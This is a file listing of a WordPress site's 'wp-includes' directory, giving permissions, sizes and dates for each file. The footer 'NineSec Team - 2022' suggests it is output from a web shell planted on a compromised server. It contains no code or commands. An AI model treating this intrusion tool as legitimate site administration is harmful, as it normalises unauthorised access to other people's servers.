0644
class-wp-image-editor.php
17.007 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-list-util.php
7.269 KB
November 07 2023 11:08:16
readytorun
0644
class-wp-locale-switcher.php
6.617 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-locale.php
16.487 KB
April 16 2025 1:08:18
readytorun
0644
class-wp-matchesmapregex.php
1.785 KB
April 03 2024 12:08:17
readytorun
0644
class-wp-meta-query.php
29.817 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-metadata-lazyloader.php
6.673 KB
August 09 2023 12:04:55
readytorun
0644
class-wp-navigation-fallback.php
8.978 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-network-query.php
19.421 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-network.php
12.008 KB
November 12 2024 11:09:05
readytorun
0644
class-wp-object-cache.php
17.113 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-oembed-controller.php
6.743 KB
July 17 2024 12:09:28
readytorun
0644
class-wp-oembed.php
30.928 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-paused-extensions-storage.php
4.991 KB
November 12 2024 11:09:05
readytorun
0644
class-wp-phpmailer.php
4.246 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-plugin-dependencies.php
24.722 KB
April 16 2025 1:08:17
readytorun
0644
class-wp-post-type.php
29.961 KB
April 16 2025 1:08:17
readytorun
0644
class-wp-post.php
6.339 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-query.php
159.906 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-recovery-mode-cookie-service.php
6.716 KB
November 02 2022 11:10:56
readytorun
0644
class-wp-recovery-mode-email-service.php
10.921 KB
August 09 2023 12:04:55
readytorun
0644
class-wp-recovery-mode-key-service.php
4.77 KB
April 16 2025 1:08:18
readytorun
0644
class-wp-recovery-mode-link-service.php
3.382 KB
November 02 2022 11:10:55
readytorun
0644
class-wp-recovery-mode.php
11.185 KB
April 16 2025 1:08:18
readytorun
0644
class-wp-rewrite.php
62.194 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-role.php
2.464 KB
November 07 2023 11:08:17
readytorun
0644
class-wp-roles.php
9.174 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-script-modules.php
31.135 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-scripts.php
33.376 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-session-tokens.php
7.147 KB
April 16 2025 1:08:17
readytorun
0644
class-wp-simplepie-file.php
3.469 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-simplepie-sanitize-kses.php
1.865 KB
April 16 2025 1:08:17
readytorun
0644
class-wp-site-query.php
30.913 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-site.php
7.292 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-speculation-rules.php
7.351 KB
April 16 2025 1:08:17
readytorun
0644
class-wp-styles.php
11.859 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-tax-query.php
19.118 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-taxonomy.php
18.124 KB
April 16 2025 1:08:17
readytorun
0644
class-wp-term-query.php
39.993 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-term.php
5.174 KB
November 02 2022 11:10:55
readytorun
0644
class-wp-text-diff-renderer-inline.php
0.956 KB
April 03 2024 12:08:17
readytorun
0644
class-wp-text-diff-renderer-table.php
18.438 KB
April 16 2025 1:08:17
readytorun
0644
class-wp-textdomain-registry.php
10.235 KB
November 21 2024 11:08:07
readytorun
0644
class-wp-theme-json-data.php
1.767 KB
July 17 2024 12:09:28
readytorun
0644
class-wp-theme-json-resolver.php
34.9 KB
April 16 2025 1:08:18
readytorun
0644
class-wp-theme-json-schema.php
7.194 KB
July 17 2024 12:09:28
readytorun
0644
class-wp-theme-json.php
160.495 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-theme.php
64.268 KB
April 16 2025 1:08:17
readytorun
0644
class-wp-token-map.php
27.947 KB
November 12 2024 11:09:05
readytorun
0644
class-wp-url-pattern-prefixer.php
4.689 KB
April 16 2025 1:08:18
readytorun
0644
class-wp-user-meta-session-tokens.php
2.94 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-user-query.php
43.131 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-user-request.php
2.251 KB
April 16 2025 1:08:18
readytorun
0644
class-wp-user.php
22.504 KB
December 03 2025 4:09:51
readytorun
0644
class-wp-walker.php
13.01 KB
September 11 2024 12:09:30
readytorun
0644
class-wp-widget-factory.php
3.269 KB
November 02 2022 11:10:55
readytorun
0644
class-wp-widget.php
17.997 KB
April 16 2025 1:08:17
readytorun
0644
class-wp-xmlrpc-server.php
210.397 KB
December 03 2025 4:09:51
readytorun
0644
class-wp.php
25.86 KB
December 03 2025 4:09:51
readytorun
0644
class-wpdb.php
115.847 KB
December 03 2025 4:09:51
readytorun
0644
class.wp-dependencies.php
0.364 KB
November 02 2022 11:10:55
readytorun
0644
class.wp-scripts.php
0.335 KB
November 02 2022 11:10:56
readytorun
0644
class.wp-styles.php
0.33 KB
November 02 2022 11:10:55
readytorun
0644
comment-template.php
100.728 KB
December 03 2025 4:09:51
readytorun
0644
comment.php
130.927 KB
December 03 2025 4:09:51
readytorun
0644
compat-utf8.php
19.096 KB
December 03 2025 4:09:51
readytorun
0644
compat.php
17.412 KB
December 03 2025 4:09:51
readytorun
0644
cron.php
41.98 KB
December 03 2025 4:09:51
readytorun
0644
date.php
0.391 KB
November 02 2022 11:10:56
readytorun
0644
default-constants.php
11.099 KB
November 12 2024 11:09:05
readytorun
0644
default-filters.php
37.021 KB
December 03 2025 4:09:51
readytorun
0644
default-widgets.php
2.241 KB
April 16 2025 1:08:17
readytorun
0644
deprecated.php
188.129 KB
December 03 2025 4:09:51
readytorun
0644
embed-template.php
0.33 KB
November 02 2022 11:10:56
readytorun
0644
embed.php
37.999 KB
December 03 2025 4:09:51
readytorun
0644
error-protection.php
4.024 KB
August 09 2023 12:04:55
readytorun
0644
feed-atom-comments.php
5.375 KB
April 03 2024 12:08:17
readytorun
0644
feed-atom.php
3.048 KB
April 16 2025 1:08:17
readytorun
0644
feed-rdf.php
2.605 KB
November 25 2021 9:10:13
readytorun
0644
feed-rss.php
1.161 KB
November 25 2021 9:10:13
readytorun
0644
feed-rss2-comments.php
4.039 KB
April 03 2024 12:08:17
readytorun
0644
feed-rss2.php
3.71 KB
November 25 2021 9:10:13
readytorun
0644
feed.php
23.026 KB
December 03 2025 4:09:51
readytorun
0644
fonts.php
9.561 KB
December 03 2025 4:09:51
readytorun
0644
formatting.php
346.427 KB
December 03 2025 4:09:51
readytorun
0644
functions.php
281.836 KB
December 03 2025 4:09:51
readytorun
0644
functions.wp-scripts.php
14.952 KB
December 03 2025 4:09:51
readytorun
0644
functions.wp-styles.php
8.438 KB
December 03 2025 4:09:51
readytorun
0644
general-template.php
168.949 KB
December 03 2025 4:09:51
readytorun
0644
global-styles-and-settings.php
20.707 KB
December 03 2025 4:09:51
readytorun
0644
http.php
25.271 KB
December 03 2025 4:09:51
readytorun
0644
https-detection.php
5.72 KB
April 16 2025 1:08:17
readytorun
0644
https-migration.php
4.63 KB
August 09 2023 12:04:55
readytorun
0644
kses.php
81.716 KB
December 03 2025 4:09:51
readytorun
0644
l10n.php
67.185 KB
December 03 2025 4:09:51
readytorun
0644
link-template.php
156.364 KB
December 03 2025 4:09:51
readytorun
0644
load.php
55.186 KB
December 03 2025 4:09:51
readytorun
0644
locale.php
0.158 KB
November 25 2021 9:10:13
readytorun
0644
media-template.php
61.716 KB
December 03 2025 4:09:51
readytorun
0644
media.php
216.002 KB
December 03 2025 4:09:51
readytorun
0644
meta.php
64.996 KB
December 03 2025 4:09:51
readytorun
0644
ms-blogs.php
25.239 KB
April 16 2025 1:08:17
readytorun
0644
ms-default-constants.php
4.806 KB
July 17 2024 12:09:28
readytorun
0644
ms-default-filters.php
6.48 KB
March 30 2023 12:08:12
readytorun
0644
ms-deprecated.php
21.249 KB
July 17 2024 12:09:28
readytorun
0644
ms-files.php
2.79 KB
December 03 2025 4:09:51
readytorun
0644
ms-functions.php
89.689 KB
December 03 2025 4:09:51
readytorun
0644
ms-load.php
19.421 KB
December 03 2025 4:09:51
readytorun
0644
ms-network.php
3.693 KB
August 09 2023 12:04:55
readytorun
0644
ms-settings.php
4.105 KB
December 03 2025 4:09:51
readytorun
0644
ms-site.php
40.739 KB
December 03 2025 4:09:51
readytorun
0644
nav-menu-template.php
25.381 KB
April 16 2025 1:08:18
readytorun
0644
nav-menu.php
43.333 KB
November 12 2024 11:09:05
readytorun
0644
option.php
102.573 KB
December 03 2025 4:09:51
readytorun
0644
pluggable-deprecated.php
6.176 KB
April 16 2025 1:08:18
readytorun
0644
pluggable.php
124.453 KB
December 03 2025 4:09:51
readytorun
0644
plugin.php
35.646 KB
December 03 2025 4:09:51
readytorun
0644
post-formats.php
6.936 KB
July 17 2024 12:09:28
readytorun
0644
post-template.php
67.039 KB
December 03 2025 4:09:51
readytorun
0644
post-thumbnail-template.php
10.624 KB
April 16 2025 1:08:17
readytorun
0644
post.php
289.133 KB
December 03 2025 4:09:51
readytorun
0644
query.php
36.226 KB
December 03 2025 4:09:51
readytorun
0644
registration-functions.php
0.195 KB
November 25 2021 9:10:13
readytorun
0644
registration.php
0.195 KB
November 25 2021 9:10:13
readytorun
0644
rest-api.php
98.295 KB
December 03 2025 4:09:51
readytorun
0644
revision.php
30.021 KB
April 16 2025 1:08:18
readytorun
0644
rewrite.php
19.033 KB
December 03 2025 4:09:51
readytorun
0644
robots-template.php
5.063 KB
May 25 2022 12:14:08
readytorun
0644
rss-functions.php
0.249 KB
November 25 2021 9:10:13
readytorun
0644
rss.php
22.659 KB
December 03 2025 4:09:51
readytorun
0644
script-loader.php
150.384 KB
December 03 2025 4:09:51
readytorun
0644
script-modules.php
9.679 KB
December 03 2025 4:09:51
readytorun
0644
session.php
0.252 KB
November 25 2021 9:10:13
readytorun
0644
shortcodes.php
23.486 KB
December 03 2025 4:09:51
readytorun
0644
sitemaps.php
3.162 KB
November 25 2021 9:10:13
readytorun
0644
speculative-loading.php
8.398 KB
December 03 2025 4:09:51
readytorun
0644
spl-autoload-compat.php
0.431 KB
November 25 2021 9:10:13
readytorun
0644
style-engine.php
7.386 KB
July 17 2024 12:09:28
readytorun
0644
taxonomy.php
172.908 KB
December 03 2025 4:09:51
readytorun
0644
template-canvas.php
0.531 KB
November 07 2023 11:08:17
readytorun
0644
template-loader.php
3.837 KB
December 03 2025 4:09:51
readytorun
0644
template.php
35.971 KB
December 03 2025 4:09:51
readytorun
0644
theme-i18n.json
1.49 KB
April 16 2025 1:08:17
readytorun
0644
theme-previews.php
2.842 KB
December 03 2025 4:09:51
readytorun
0644
theme-templates.php
6.092 KB
April 16 2025 1:08:17
readytorun
0644
theme.json
8.712 KB
December 03 2025 4:09:51
readytorun
0644
theme.php
131.844 KB
December 03 2025 4:09:51
readytorun
0644
update.php
37.454 KB
December 03 2025 4:09:51
readytorun
0644
user.php
173.889 KB
December 03 2025 4:09:51
readytorun
0644
utf8.php
7.09 KB
December 03 2025 4:09:51
readytorun
0644
vars.php
6.408 KB
April 16 2025 1:08:17
readytorun
0644
version.php
1.078 KB
December 03 2025 4:09:52
readytorun
0644
widgets.php
69.462 KB
December 03 2025 4:09:51
readytorun
0644
wp-db.php
0.435 KB
November 02 2022 11:10:55
readytorun
0644
wp-diff.php
0.78 KB
April 16 2025 1:08:17
readytorun
0644

NineSec Team - 2022